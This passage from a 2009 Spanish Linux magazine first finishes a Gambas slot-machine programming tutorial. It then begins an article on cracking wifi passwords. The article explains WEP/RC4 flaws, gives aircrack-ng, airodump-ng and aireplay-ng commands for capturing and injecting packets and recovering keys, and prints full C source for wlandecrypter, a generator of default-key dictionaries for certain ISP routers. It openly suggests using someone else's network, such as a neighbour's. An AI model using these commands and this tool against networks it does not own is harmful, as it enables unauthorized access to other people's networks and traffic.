btnJugar.Enabled = ValorEND

Listado 3. Procedimiento ColorTitulo

PRIVATE SUB ColorTitulo(ControlLabel AS Label)

DIM NumeroColor AS Byte

RANDOMIZE

NumeroColor = Rnd(1, 3)

SELECT CASE NumeroColor

CASE 1

ControlLabel.ForeColor = Color.Green

CASE 2

ControlLabel.ForeColor = Color.DarkGreen

CASE 3

ControlLabel.ForeColor = Color.Black

END SELECT

END

Listado 4. Contenido del módulo modVarios

' Gambas module file

PUBLIC TotalPlataGanada AS Integer

PUBLIC TotalPlataPerdida AS Integer

PUBLIC CantPartGanadas AS Integer

PUBLIC CantPartPerdidas AS Integer

PUBLIC SUB Salir(Control AS Form)

IF Message.Question("¿Desea salir

de Tragamonedas?", "Si", "No") = 1 THEN

Control.Close

Control.Delete

END IF

END

Page 64: Linux_05_2009_ES

64

programaciónCurso de Programación en Gambas

Linux+ 5/2009

le asigna a la propiedad Values de spbApuesta el valor que contiene la variable Dinero. Una vez hecha la apuesta, el jugador hará clic sobre el botón btnJugar, que es el que co-dificaremos a continuación, como se muestra en el Listado 8.

Este código en primera instancia verifica que la apuesta que realizó el jugador sea válida, y de no ser así, sale del evento mediante RE-TURN, al igual que se utiliza en las Funciones, con la salvedad de que aquí no se retorna nin-gún valor en particular, simplemente se sale del evento. Luego, se asigna el valor que contiene spbApuesta a la variable Apuesta, y la variable HorarioActual se le asigna la hora en que el jugador hizo clic sobre el botón btnJugar. Esta variable será utilizada para comparar y verificar el tiempo que realizará la animación del traga-monedas, que la codificaremos en los timers correspondientes. Luego, se le resta al jugador

el dinero apostado y se refresca el nuevo valor en el lcdDinero. Por último, deshabilitamos los controles correspondientes llamando al pro-cedimiento HabilitaControles, pasándole un

valor FALSE y acto seguido habilitamos los tres controles Timers para que hagan su labor, la cual explicaremos a continuación.

Como habrán visto en los casinos o en la televisión, las máquinas de tragamonedas tiene una particularidad. Cuando el jugador tira de la palanca, empieza una especie de animación la cual pasan los números o las imágenes de manera rápida, y luego se detiene la primera imagen, luego la segunda y por último la ter-cera. Nosotros trataremos de simular el mismo efecto, pero programándolo mediante Gambas y el uso de controles Timers.

Cada control Timer, tiene asignado un ran-go de tiempo en el cual funcionará, y se com-parará con la hora en la cual se ha iniciado el juego, que está almacenada en la tan misteriosa variable HoraActual. Cuando se inicien los Timers, estos estarán comprobando constante-mente que su rango de tiempo no haya caduca-do, pero de ser así, se deshabilitarán y quedarán con el número que tenían almacenado en ese instante de tiempo. Para simular la animación de las máquinas tragamonedas, los Timers ten-drán diferente tiempo asignado, y cada uno se detendrá 1 segundo después que el otro, pero siempre comparándose con el HorarioActual. Para comprender mejor este funcionamiento, echemos un vistazo a la Figura 8.

En primera instancia, nuestro jugador pre-siona el botón ¡Jugar!, se disparan los tres con-troles Timers, entre otras cosas. Luego que pasan 2 segundos, el control tmrAnimaA se detiene, y queda con el número 1 almacenado. Un segun-do más tarde, es decir en el segundo número 3, el control tmrAnimaB se detiene, y también queda con el número 1 almacenado. Por último, vuelve a pasar 1 segundo más, el segundo número 4, y se detiene el tmrAnimaC, que por ser el último, llama al procedimiento VerificaGanador(), que ya sabemos lo que hace.

Ahora bien, terminada la explicación. Si no se ha comprendido de manera total, tal vez

Listado 5. Procedimiento VerificaGanador

PRIVATE SUB VerificaGanador()

IF lblNumA.Caption = lblNumB.Caption AND lblNumB.Caption =

lblNumC.Caption THEN

Apuesta = Apuesta * 2

Message.Info("¡Felicitaciones, has Ganado $" & Apuesta & "!")

Dinero = Dinero + Apuesta

modVarios.TotalPlataGanada = modVarios.TotalPlataGanada + Apuesta

ELSE

Message.Info("¡Mala Suerte! Has perdido $" & spbApuesta.Value)

INC modVarios.CantPartPerdidas

modVarios.TotalPlataPerdida = modVarios.TotalPlataPerdida + Apuesta

ENDIF

END

Listado 6. Evento Open del FMain, inicializando los valores de las variables

PUBLIC SUB Form_Open()

Fmain.Center

Dinero = 100

lcdDinero.Value = 100

Apuesta = 0

END

Listado 7. Evento Change del spbApuesta

PUBLIC SUB spbApuesta_Change()

IF spbApuesta.Value > Dinero THEN

Message.Info("¡Has llegado al Monto Maximo de Apuesta!")

spbApuesta.Value = Dinero ENDIFEND

Figura 10. Formulario FEstadisticas

Page 65: Linux_05_2009_ES

65www.lpmagazine.org

programaciónCurso de Programación en Gambas

observando el código fuente se nos haga más fácil. Por cuestiones de simplicidad y para poder analizarlos mejor, se ha puesto el código fuente de los tres controles Timers dentro del Listado 9.

Podemos ver que el funcionamiento de todos los timers son iguales, a excepción del tmrAnimaC, que cuando termina su labor, se encarga de llamar al procedimiento Verifica-Ganador y de volver a habilitar los controles para que el jugador pueda iniciar una nueva partida. Para poder calcular el tiempo entre que se inició el juego y el tiempo en que transcurre la animación, se hace uso de la función Da-teDiff, que recibe dos valores del tipo Date como argumentos, y retorna la diferencia de tiempo según es especificada en el tercer pa-rámetro, en nuestro caso gb.secord, es decir, queríamos que nos retornara la diferencia de tiempo entre esas fechas expresada en segun-dos.

Se deja como tarea al lector ir variando el valor del tiempo de actividad de los Timers, con la finalidad de alterar los tiempos de la animación.

Para finalizar el funcionamiento de nues-tro juego, simplemente nos queda codificar el tmrAnimaTitulo, que se encargará de llamar al procedimiento ya codificado ColorTitulo, tal como se muestra en el Listado 10.

En la Figura 9, podemos ver un ejemplo del funcionamiento de nuestro juego. En las siguientes secciones, le añadiremos funciona-lidades a nuestro tragamonedas...

Dándole vida a los menúsEn esta sección, nos encargaremos de codificar las acciones de los menús. En una aplicación convencional, las opciones de los menús tam-bién se encuentran, por ejemplo, dentro del formulario principal o almacenados en una barra de herramientas. Este caso no escapa a esa situación. Los componentes que confor-man nuestro menú ya están codificados, con la salvedad de, por ejemplo, el formulario de esta-dísticas y el de modificación de nivel de dificul-tad. Para programar las acciones nos dirigimos

a nuestro menú, tal cual como lo haríamos si la aplicación estuviese corriendo, y hacemos clic sobre el componente a codificar. Por ejemplo, seleccionamos Archivo–>Jugar.

Una vez hecho clic, Gambas automática-mente nos dirige al editor de código fuente, donde nos encargaremos de llamar al evento clic del btnJugar de la siguiente manera: btn-Jugar_Click ¡Y listo! Ya tenemos la acción que se realizará cuando el jugador haga clic en

ese menú. Sencillo, ¿verdad? Entonces, se le deja al lector como tarea codificar los menús restantes.

Dicen las Estadísticas...Todo jugador tiene un gran interés sobre la can-tidad de dinero que va ganando y/o perdiendo. Es por ello, que nuestra aplicación le pro- veerá al usuario el ver estadísticas sobre los jue- gos que ha realizado. Para ello, insertamos un

Listado 8. Codificación del Botón btnJugar, encargado de iniciar el juego

PUBLIC SUB btnJugar_Click()

IF spbApuesta.Value = 0 THEN

Message.Error("¡Hey! Debes Apostar..")

RETURN

ELSE IF spbApuesta.Value > Dinero THEN

Message.Info("¡No tienes suficiente dinero para realizar esa apuesta!")

RETURN

ENDIF

Apuesta = spbApuesta.Value

HorarioActual = Now

Dinero = Dinero – spbApuesta.Value

lcdDinero.Value = Dinero

HabilitaJuego(FALSE)

tmrAnimaA.Enabled = TRUE

tmrAnimaB.Enabled = TRUE

tmrAnimaC.Enabled = TRUE

END

Listado 9. Codificación de los controles tmrAnimaA, tmrAnimaB y AnimaC

PUBLIC SUB tmrAnimaA_Timer()

lblNumA.Caption = DameNumeroAleatorio()

IF DateDiff(HorarioActual, Now, gb.Second) > 2 THEN

tmrAnimaA.Stop

ENDIF

END

PUBLIC SUB tmrAnimaB_Timer()

lblNumB.Caption = DameNumeroAleatorio()

IF DateDiff(HorarioActual, Now, gb.Second) > 3 THEN

tmrAnimaB.Stop

tmrAnimaB.Enabled = FALSE

ENDIF

END

PUBLIC SUB tmrAnimaC_Timer()

lblNumC.Caption = DameNumeroAleatorio()

IF DateDiff(HorarioActual, Now, gb.Second) > 4 THEN

tmrAnimaC.Stop

tmrAnimaC.Enabled = FALSE

VerificaGanador()

HabilitaJuego(TRUE)

ENDIF

END

Figura 11. Resultado de Ejecutar el Listado 12

Page 66: Linux_05_2009_ES

66

programaciónCurso de Programación en Gambas

Linux+ 5/2009

nuevo formulario llamado FEstadisticas, el cual contendrá seis controles Labels, encargados de informarle al usuario los datos correspondien-tes. También, insertaremos un control Drawin-gArea, que contendrá un dibujo que los lectores crearán, valiéndose de la sección Introducción al Dibujo de Primitivas. El control DrawingA-rea hace de una especie de hoja en el formula-rio, que solamente sobre ella podremos dibujar. El formulario resultante puede ser similar al que se muestra en la Figura 10.

Podemos recordar que anteriormente declaramos en el módulo modVarios, cuatro variables llamadas TotalPlataGanada, To-talPlataPerdida, CantPartGanadas, Can-

tPartPerdidas. Como sabemos, estas varia-bles almacenan los valores que el jugador tanto ansía saber. El codigo fuente de este formulario, se encuentra en el Listado 11. No hace falta ex-plicar el funcionamiento de este formulario, pe-ro sí vale la pena aclarar dos puntos importantes y nuevos. Como podemos ver, Gambas soporta

la declaración y asignación de variables en la misma sentencia. Esto se puede observar en la declaración de la variable TotalPartidas, donde automáticamente se le asigna el valor de la suma de modVarios.CantPartGanadas + modVarios.CantPartPerdidas. Otro con-cepto nuevo es el uso de la estructura WITH... END WITH. Esta estructura nos ahorra tener que escribir el nombre, en este caso, del módulo repetidas veces. Observe el lector que lo que se encuentra dentro de esta estructura, son llamadas a las variables que se encuentran en el módulo modVarios. Para hacer referencia a estas variables desde adentro de la estructura WITH, se hace mediante el símbolo punto y el nombre de la variable. Esta estructura no aporta nada significante dentro de lo funcional de la aplicación, ya que sin el uso de ella se podría haber desarrollado el formulario de igual manera. Simplemente aporta más legibilidad y sencillez a la hora de escribir código.

Para terminar, llamar al formulario FEs-tadisticas desde el FMain, mediante FE- stadisticas.ShowModal

Introducción al Dibujo de PrimitivasEn determinadas ocasiones, es posible que al programador se le presente el problema de que-rer dibujar sus propios gráficos en la pantalla. Pa-ra subsanar este problema, Gambas introduce el concepto de Dibujo de Primitivas. Este concepto funciona de la siguiente manera: primero, se debe insertar un control DrawingArea dentro del formulario. Éste actuará a modo de hoja, es de-cir, podremos crear gráficos sobre él. Luego, ten- dremos que utilizar la clase estática Draw, la cual habrá que asociarla al control DrawingArea, para poder utilizar sus propiedades y métodos. Por último, dibujamos los gráficos necesarios valiéndonos de los métodos de la clase Draw. Un ejemplo de uso del DrawingArea se muestra en el Listado 12, el cual está comentado para facilitar la comprensión. El resultado de este código se puede observar en la Figura 11.

Como vemos, el dibujo de gráficos en Gambas es muy sencillo. Simplemente, tendre-mos que usar los métodos que más se adecuen al gráfico que queremos conseguir, pasándole los parámetros que necesitemos. Es por ello, que en la Tabla 4 se resumen los métodos más importantes para poder dibujar gráficos.

Como se mencionó en la sección anterior Dicen las Estadísticas..., se le deja al lector que cree un dibujo para incorporar al FEstadisti-cas y así, hacerlo más vistoso y atractivo para el usuario. (Por ejemplo, se podría dibujar un sencillo gráfico de barras, que representan de forma simbólica a las estadísticas).

Listado 10. Llamada al procedimiento ColorTitulo, desde el control tmrAnimaTitulo

PUBLIC SUB tmrAnimaTitulo_Timer()

ColorTitulo(lblTitulo)

END

Listado 11. Codificación completa del formulario FEstadisticas

DIM TotalPartidas AS Integer = modVarios.CantPartGanadas

+ modVarios.CantPartPerdidas

WITH modVarios

lblPlataGanada.Caption = "Plata Ganada: $" & .TotalPlataGanada

lblPlataPerdida.Caption = "Plata Perdida: $" & .TotalPlataPerdida

lblCantPartGanadas.Caption = "Cant Partidas Ganadas: "

& .CantPartGanadas

lblCantPartPerdidas.Caption = "Cant Partidas Perdidas: "

& .CantPartPerdidas

END WITH

lblCantPartJugadas.Caption = "Cant Partidas Jugadas: " & TotalPartidas

Listado 12. Ejemplo de Dibujo de Primitivas

DIM Contador AS Integer

'Enlazamos el DrawingArea con la clase Draw

Draw.Begin(DrawingArea1)

RANDOMIZE

'Elegimos el Color de Primer Plano

Draw.ForeColor = Color.Blue

'Creamos un Bucle para que dibuje 1500 lineas

FOR Contador = 0 TO 1500

'Llamamos al metodo line, pasandole valores aleatorios

del largo de la linea.

'Draw.Line(PosicionX,PosicionY,LargoX,LargoY).

El metodo W y H retornan

'el ancho y el largo del control, es decir, seria el

tamaño de la "Hoja"

Draw.Line(Rnd(0, DrawingArea1.W), Rnd(0, DrawingArea1.H), 200, 200)

'Asignamos un color "al azar", creandolo mediante

el metodo RGB de la clase Color

Draw.ForeColor = Color.RGB(Rnd(0, 255), Rnd(0, 255), Rnd(0, 255))

'Finalizamos el Dibujo

Draw.End

Page 67: Linux_05_2009_ES

67www.lpmagazine.org

programaciónCurso de Programación en Gambas

Traduciendo Nuestra AplicaciónEntre las tantas características que nos provee Gambas, una de las más interesantes es el asis-tente de traducción de aplicaciones. Para poder utilizarlo, tendremos que indicarle a Gambas que nuestro proyecto es traducible. Para ello, nos dirigimos al menú Proyecto --> Propieda-des y en la pestaña Opciones, y marcamos Si en donde nos dice El proyecto es traducible y por último hacemos clic en Ok. Ahora nos dirigi-mos nuevamente al menú Proyecto, notaremos que se nos agregó una nueva opción: Traducir. Hacemos clic sobre la opción, y se nos apare-cerá una ventana similar a la que se muestra en la Figura 12.

La traducción de proyectos no es automá-tica, se realiza de manera manual, por lo que tendremos que agregar las palabras nosotros. Este asistente, como todos los que están inclui-dos en Gambas, es sumamente intuitivo. En el cuadro que se encuentra en la parte superior

de la ventana, se encuentran las palabras que tiene nuestro proyecto. Gambas, se encarga de extraer todas las palabras de las propiedades Text, etc., y recopilarlas en este cuadro, para que se nos haga más sencilla la tarea de traducir la aplicación. Cuando seleccionamos una pala-bra de este cuadro, nos dirigimos a la caja de texto que se encuentra en la parte inferior de la pantalla, e introducimos su significado equiva-lente en el idioma que deseemos. Estos pasos se deben realizar con cada una de las palabras que se encuentran en el proyecto.

Ejercicios PropuestosSe le deja al lector una serie de ejercicios propuestos, con el fin de poder practicar y apli- car los conocimientos adquiridos hasta el mo-mento:

• Implementar un nuevo formulario llamado FDificultad, en el cual se pueda ingresar un nivel de dificultad (del 0 al 9) y que éste sea funcional en el juego. Pistas: ver la Función DameNumeroAleatorio,

• Deshabilitar el botón del menú Jugar, cuan-do se haga clic sobre él o se haga clic sobre el btnJugar. Habilitarlo cuando corresponda. Pista: utilizar el método Enabled,

• Programar el menú Ayuda -> Contenidos, en el cual se muestren las reglas del juego,

• Agregar funcionalidades al juego, como por ejemplo, que cuando salga el numero 666 el jugador pierda automáticamente. También añadirle colores a los números a medida que salgan y sean iguales.

• Programar un juego del tipo TaTeTi o Tres en Raya, con todas las funcionalidades y reglas del juego. Una posible interfaz del

juego se muestra en la Figura 13, en la cual se implementan 9 botones que repre-sentan cada figura.

• Tomar el Editor de Texto programado en la entrega anterior e implementarle un sistema de menús.

Consideraciones FinalesEn resumen, en esta entrega hemos visto concep-tos importantes de la programación como lo son la modularidad y el famoso Divide y Vencerás. También, hemos dado una recorrida en la crea-ción de menús como así también en la implemen-tación de números aleatorios, integrándolo todo en un juego del tipo Tragamonedas. Por último, vimos lo fácil que es con Gambas distribuir apli-caciones multiidioma y crear dibujos sencillos.

No se olviden que ante cualquier consul- ta, pueden escribirme a jorge.capurro@linux- mail.org.

El concepto de contador y acumulador son constantemente utilizados en la gran ma-yoría de los lenguajes. Estos conceptos, como su nombre lo indica, son variables que el programador declara exclusiva-mente para contar o acumular (sumar, por ejemplo) determinados datos. Es por ello que Gambas nos provee los operado-res INC y DESC, que cumplen la función de sumar una unidad o descontarla a la variable que se le aplique.Es equivalente a hacer Contador=Con- tador + 1

Contador y Acumulador

Jorge Emanuel Capurro es estudiante de la Tec. Superior en Programación, ca-rrera dictada en la Universidad Tecnológi-ca Nacional - Facultad Regional Haedo, provincia de Bs As, Argentina. Principal-mente, su área de investigación se centra en los Sistemas Operativos de tipo UNIX y de la programación bajo esta plataforma. Es el creador del proyecto IDEas (http://ideasc.sourceforge.net), que es el primer frontend desarrollado bajo Gambas del compilador gcc (http://gcc.gnu.org), que se utiliza con fines didácticos. Actualmente se desempeña como programador para la empresa IBM Argentina en el departamen-to de Applications Management Services, participando de diversos proyectos de desarrollo de software de carácter inter-nacional.

Sobre el autor

Figura 12. Ventana del Traductor de Aplicaciones de Gambas

Figura 13. Posible GUI del TaTeTi ¡A Programarlo!

Page 68: Linux_05_2009_ES

hacking para linuxerosCracking Wifi al completo

68 Linux+ 5/2009

linux

@so

ftwar

e.co

m.p

l

Cualquiera que sea tu situación, el objetivo de este artículo es la recopilación de todos los mé-todos conocidos hasta la actualidad para lograr descubrir la contraseña de todas aquellas redes

wifi que puedes alcanzar con tu tarjeta inalámbrica. Si lo que haces es legal o no, es responsabilidad tuya.

Introducción¿Qué tiene este artículo que lo diferencia con cualquier otro que puedas encontrar en la red? Fácil. Casi todos los artículos o reseñas que puedas encontrar a lo largo de Internet sólo se centran en un método para hacer cierta tarea y casi siempre se resume a lo siguiente:

• Utiliza airodump(-ng) para capturar paquetes.• Utiliza aircrack(-ng) para romper la clave.

Quizás con un posible: Utiliza aireplay(-ng) para inyectar paquetes. ¿Pero qué pasa cuando te encuentras en una situa-ción en que no todo sale como debería? Cuando una red ape-nas produce paquetes, cuando no tiene clientes conectados o un sin fin de inconvenientes que limitan tus armas...

Pues aquí te mostraremos diversas formas de seguir consiguiendo contraseñas aun a pesar de enfrentarte a todas estas dificultades. Aquí reuniremos todo aquello que se puede encontrar en los foros más dispersos de la telaraña global, y agregaremos todos los links necesarios a cualquier herra-mienta que sea mencionada.

Este artículo se centra sobre el sistema operativo Linux, aunque haremos referencias en su momento al resto. Normal-mente todos los programas o scripts presentados, salvo con-tadas excepciones, pueden ser ejecutados en ambos sistemas. Recuerda que un ejecutable de Windows puede correr bajo Linux por medio de Wine.

Romper WEPTras la puerta de este protócolo, realmente quien se encuentra es otro mucho más conocido llamado: RC4. Que resulta ser un algoritmo de cifrado de flujo.

Podríamos decir que RC4 convierte una contraseña cualquiera en una tirada de bits pseudoaleatorios mucho más larga que la original. Esta cadena puede ser utilizada posteriormente para aplicarse al texto plano en el proceso de cifrado real.

Cracking Wifi al completo¿Deseas comprobar si la red WiFi que tienes montada en tu casa es realmente segura? ¿En tu escuela saben que eres un hacha en esto de la informática y te han pedido que realices una auditoría de su red inalámbrica? ¿O simplemente no puedes costearte una conexión ADSL puesto que tus recursos son limitados y tienes la suerte de tener a tu alcance la red wireless que tu vecino ha instalado hace apenas unos meses?

David Puente Castro (Blackngel)

Page 69: Linux_05_2009_ES

hacking para linuxerosCracking Wifi al completo

69www.lpmagazine.org

Pero WEP pretendía implantar una medida adicional de seguridad. Y para ello utilizo lo que muchos conocemos como IV's (Vectores de Inicialización). En realidad no es más que una cadena de 24 bits que se añade a la clave antes de pasar por RC4.

En resumen WEP realiza lo siguiente (extraí-do de la referencia que se cita al final de sección):

• Se calcula un CRC de 32 bits de los datos. Este CRC-32 es el método que propone WEP para garantizar la integridad de los mensajes (ICV, Integrity Check Value).

• Se concatena la clave secreta a continua-ción del IV formado el seed.

• El PRNG (Pseudo-Random Number Gene- rator) de RC4 genera una secuencia de ca- rácteres pseudoaleatorios (keystream), a par- tir del seed, de la misma longitud que los bits obtenidos en el punto 1.

• Se calcula la O exclusiva (XOR) de los caracteres del punto 1 con los del punto 3. El resultado es el mensaje cifrado.

• Se envía el IV (sin cifrar) y el mensaje cifrado dentro del campo de datos (frame body) de la trama IEEE 802.11

• El problema radica en estos dos puntos:• La ridícula longitud del IV (24 bits)• La pésima implementación de los fabrican-

tes a la hora de aplicar aleatoriedad a estos Vectores de Inicialización.

La cuestión es que, aun desconociendo la clave, los IV's se repiten en multitud de ocasiones, provocando que distintos textos planos se cifren multitud de veces con el mismo seed (casi igual que decir que se cifra con la misma clave).

Si se consigue una cantidad de textos cifra-dos considerable en los que se repita el Vector de Inicialización, entonces podrían iniciarse ataques estadísticos para deducir el texto en

claro. Pero resulta que gracias a la aplicación del XOR, existe una propiedad que dice que se se puede obtener el seed aplicado a un texto cifrado, realizando el XOR entre un texto plano y un texto cifrado con este mismo seed.

Entonces el problema se reduce a encontrar un texto plano cifrado con la misma cadena. Y es más sencillo de lo que parece, porque existen tráficos predecibles o bien, podemos pro-vocarlos nosotros (mensajes ICMP de solicitud y respuesta de eco, confirmaciones de TCP, etc.).

Con todo esto es posible ya descifrar tráfi-co generado por una red que utilice en protocolo WEP como método de seguridad. Pero este méto-do no es suficiente para obtener la clave. Para ello se han descubierto otras vulnerabilidades implíci-tas en el protocolo RC4 que facilitan esta tarea.

Para más información mejor consulten en este lugar [1].

Aircrack-ptwTal cual se anunció en Kriptopolis y otros lu-gares en su momento: Investigadores alemanes han anunciado un nuevo ataque que reduciría a una décima parte el volumen de trafico cifrado WEP necesario para crackear la clave utiliza-da en una comunicación inalámbrica.

En la práctica, el anuncio viene a significar que las comunicaciones WEP a 128 bit podrían ser crackeadas en menos de un minuto utilizan-do un equipo informático común.

La herramienta aircrack-ptw fue creada por los mismos investigadores como prueba de concepto para esta vulnerabilidad, aunque hoy en día la ultima versión de aircrack-ng ya implementa este ataque (si bien puede ser des-activado a petición en la linea de comandos).

Por último recordar que existen muchas otras herramientas que nos permiten capturar tráfico. Algunas de ellas tienen nombres tan conocidos como:

• Wireshark (ethereal)• AirSnort• Kismet

Lo que ocurre es que la suite Aircrack(-ng) está especialmente diseñada para dedicarse a una única tarea. Y es por ello que nos hace la vida mucho más fácil.

Ataque básicoNo me centraré más que en los 3 o 4 pasos básicos que se deben dar para crackear una red wireless estandar sin más complicaciones:

• Poner a correr airodump(-ng) normalmente para ver todas las redes que encontramos a nuestro alcance:

$ airodump-ng --write captura --ivs interfaz

• Cuando nos hayamos decidido por una red en concreto y tengamos el canal sobre el que opera:

$ airodump-ng --write red_elegida --channel X --ivs interfaz

Ahora esperamos a que el campo DATA de la red elegida comience a subir hasta alcanzar co-mo mínimo una cantidad de 250.000 para redes con claves de 64 bits o cerca de 1.000.000 para redes de 128 bits.

A tener en cuenta:

• Para el resto de redes que se presentan en este artículo normalmente deberás suprimir el parámetro --ivs para que el archivo ten-ga formato *.cap y pueda ser interpretado correctamente por los programas adecuados.

• Si deseas que en pantalla solo aparezca la red sobre la que te centras puedes especi-ficar el parámetro --bssid seguido de la dirección MAC del punto de acceso.

• La cantidad de paquetes IV que precises puede variar mucho dependiendo de la red con la que estés tratando. Recuerda que siempre puedes ir probando el archivo de

Figura 1. Aircrack, Airodump y Aireplay en acción

Figura 2. Logo wlan

Page 70: Linux_05_2009_ES

70 Linux+ 5/2009

hacking para linuxerosCracking Wifi al completo

Listado 1a. Código Fuente Wlandecrypter

/******************************************************

* Fichero: wlandecrypter.c

* Fecha: 23-03-2006

* Autor: Nilp0inteR (nilp0inter2

k6[at]gmail[dot]com)

* Actualizado: 22-11-2006

* Modicado: 06-11-2008 blackngel

([email protected])

*

* Descripción: Generador de diccionario de claves

por defecto para los

* router de Timofonik Zyxel, Xavvy y Comtrend.

*

* Este programa es software libre; puedes

redistribuirlo y/o modificarlo

* bajo los términos de la Licencia Publica General

GNU (GPL) publicada

* por la Free Software Foundation; en su version

numero 2, o (bajo tu

* criterio) la ultima version.

Mira http://www.fsf.org/copyleft/gpl.txt.

*

* Este programa se distribuye SIN GARANTIA de ningun tipo.

*

******************************************************/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#define MAXROUTER 8

#define MAXINDEX 1

#define VERSION 0

#define SUBVERSION 5

typedef struct Router

{

char bssid[9];

char init[MAXINDEX][8];

char notas[30];

} tRouter;

char hex[16] = "0123456789ABCDEF";

void toUpperString(char *);

void initRouters(tRouter []);

void datosRouters(tRouter []);

int buscaBssid(tRouter [], char *);

void imprimeClaves(FILE *, tRouter [], int, char *);

int main(int argc, char *argv[])

{

int bssidId, i;

int validHex=0;

char endKey[2];

tRouter routers[MAXROUTER];

FILE *fichero;

if (argc < 3 || argc > 4) {

muestraAyuda();

return 1;

}

fprintf(stderr, "\nwlandecrypter %i.%i - (c) 2006

nilp0inter2k6_at_gmail.com\n",

VERSION, SUBVERSION);

fprintf(stderr, "------------>

http://www.rusoblanco.com <------------\n\n");

if (strlen(argv[1]) != 17) {

fprintf(stderr," [-] Longitud

de BSSID invalida\n");

return 1;

}

initRouters(routers);

datosRouters(routers);

bssidId = buscaBssid(routers, argv[1]);

if (bssidId == -1) {

fprintf(stderr, " [-] BSSID no encontrado\n");

return 1;

}

else {

fprintf(stderr, " [+] BSSID: %s\n"

" [+] Modelo: %s\n", argv[1],

routers[bssidId].notas);

toUpperString(&argv[2]);

if (strlen(argv[2]) < 7 || strlen(argv[2]) > 9 ||

strncmp("WLAN_",

argv[2], 5) != 0 ) {

fprintf(stderr, " [-] ESSID:

%s invalido!!\n", argv[2]);

return 1;

}

else {

for (i = 0; i < 16; i++) {

if (argv[2][5] == hex[i])

validHex++;

if (argv[2][6] == hex[i])

validHex++;

}

if (validHex != 2) {

fprintf(stderr, " [-] ESSID:

%s invalido!!\n", argv[2]);

return 1;

}

else {

endKey[0]=argv[2][5];

endKey[1]=argv[2][6];

fprintf(stderr," [+] ESSID: %s\n",

argv[2]);

if (argc > 3) {

fprintf(stderr," [+]

Fichero de claves: %s\n", argv[3]);

Page 71: Linux_05_2009_ES

71www.lpmagazine.org

hacking para linuxerosCracking Wifi al completo

fichero = fopen(argv[3], "a+");

if (fichero != NULL) {

imprimeClaves(fichero,routers,bssidId,

endKey);

fclose(fichero);

fprintf(stderr, " [+]

Fichero guardado\n");

}

else {

fprintf(stderr, " [-]

Error al abrir el fichero\n");

return 1;

}

}

else {

fprintf(stderr," [+] Seleccionada

salida estandar\n");

imprimeClaves(stdout, routers,

bssidId, endKey);

}

}

}

return 0;

}

void toUpperString(char *s)

{

while (*s) {

*s = toupper(*s);

s++;

}

}

void initRouters(tRouter routers[MAXROUTER])

{

int i, j;

for (j = 0; j < MAXROUTER; j++) {

strcpy(routers[j].bssid, "");

for (i = 0; i < MAXINDEX; i++)

strcpy(routers[j].init[i], "");

strcpy(routers[j].notas, "");

}

}

void datosRouters(tRouter routers[MAXROUTER])

{

// Z-com

strcpy(routers[0].bssid, "00:60:B3\0");

strcpy(routers[0].init[0], "Z001349\0");

strcpy(routers[0].notas, "Z-com\0");

// Xavvy

strcpy(routers[1].bssid, "00:01:38\0");

strcpy(routers[1].init[0], "X000138\0");

strcpy(routers[1].notas, "Xavi 7768r\0");

// Comtrend

strcpy(routers[2].bssid, "00:03:C9\0");

strcpy(routers[2].init[0], "C0030DA\0");

strcpy(routers[2].notas, "Comtrend 535\0");

// Zyxel : Gracias a thefkboss de

// foro.elhacker.net por esta observacion

strcpy(routers[3].bssid, "00:A0:C5\0");

strcpy(routers[3].init[0], "Z001349\0");

strcpy(routers[3].notas, "Zyxel 650HW/660HW\0");

// Comtrend NUEVO, gracias a dnreinad por

// el coche xD

strcpy(routers[4].bssid, "00:16:38\0");

strcpy(routers[4].init[0], "C0030DA\0");

strcpy(routers[4].notas, "Comtrend 536+\0");

// P-660HW-D1

strcpy(routers[5].bssid, "00:13:49\0");

strcpy(routers[5].init[0], "Z001349\0");

strcpy(routers[5].notas, "P-660HW-D1\0");

// ZyGate

strcpy(routers[6].bssid, "00:02:CF\0");

strcpy(routers[6].init[0], "Z0002CF\0");

strcpy(routers[6].notas, "ZyGate\0");

// ZyGate

strcpy(routers[7].bssid, "00:19:15\0");

strcpy(routers[7].init[0], "C0030DA\0");

strcpy(routers[7].notas, "Comtrend\0");

}

void muestraAyuda()

{

fprintf(stderr, "\nwlandecrypter %i.%i - (c)

2006 nilp0inter2k6_at_gmail.com\n",

VERSION, SUBVERSION);

fprintf(stderr, "------------> http://

www.rusoblanco.com <------------\n\n");

fprintf(stderr, " uso: wlandecrypter <bssid>

<essid> [output file]\n\n");

}

int buscaBssid(tRouter routers[MAXROUTER],

char *bssid)

int i;

toUpperString(&bssid);

for(i = 0; i < MAXROUTER; i++) {

if (strncmp(routers[i].bssid, bssid, 8) ==

0)

return i;

}

return -1;

}

void imprimeClaves(FILE *out, tRouter

routers[MAXROUTER], int bId, char *keyEnd)

{

int i, index=0;

while(index < MAXINDEX && strcmp

(routers[bId].init[index], "")) {

for (i = 0; i < 65536; i++)

fprintf(out, "%s%04X%c%c\n",

routers[bId].init[index],

i,

keyEnd[0], keyEnd[1]);

index++;

}

}

Listado 1b. Código Fuente Wlandecrypter

Page 72: Linux_05_2009_ES

72 Linux+ 5/2009

hacking para linuxerosCracking Wifi al completo

capturas con aircrack(-ng) sin necesidad de parar el proceso airodump(-ng).

• Ejecutar un ataque de inyeccion de paque-tes para aumentar el trafico:

$ aireplay-ng -3 -b MAC AP -h MAC CLIENTE

Para ejecutar este ataque necesitas que en la parte inferior del airodump(-ng) se muestre un cliente autorizado conectado a la red. Recuerda también que este paso es opcional pero hoy en día casi imprescindible si no queremos perder horas crackeando una red.

Lanzar aircrack(-ng) en la búsqueda de la clave correcta:$ aircrack-ng captura.ivs.

Te pedirá que elijas la red en caso de que haya capturado paquetes de varias y se pondrá directamente a hacer sus cálculos internos para proporcionarte la clave correcta.

Si tuvieras pistas acerca de si se trata de una contraseña compuesta por solo números o solo caracteres alfanuméricos, etc... no te olvi-des de utilizar los parámetros -h o -t. Podrían ahorrarte muchísimo tiempo.

Por lo demás puedes seguir jugando con los parámetros de cada una de las aplicaciones, algunos de ellos te muestran la contraseña en formato ASCII (muy útil si deseas ver las supo-siciones que va haciendo aircrack(-ng) acerca de la clave) y otros te permiten variar ciertos

indices de fuerza bruta o ataques korek especia-les (Figura 1).

Ataque a “WLAN_XX”Investigando las WiFi WLAN_XX, una tal nilp0inter público en un foro que había des-cubierto que las claves por defecto de este tipo de redes eran prácticamente comunes según que marca de router fuese utilizado.

Todos los routers wireless de una misma marca utilizaban una misma raíz para sus con-traseñas. A continuación venían 4 dígitos hexade-cimales cualesquiera seguido de los dos últimos dígitos que componían el nombre de la WLAN (Figura 2).

Los fabricantes que se habían estudiado eran los siguientes:

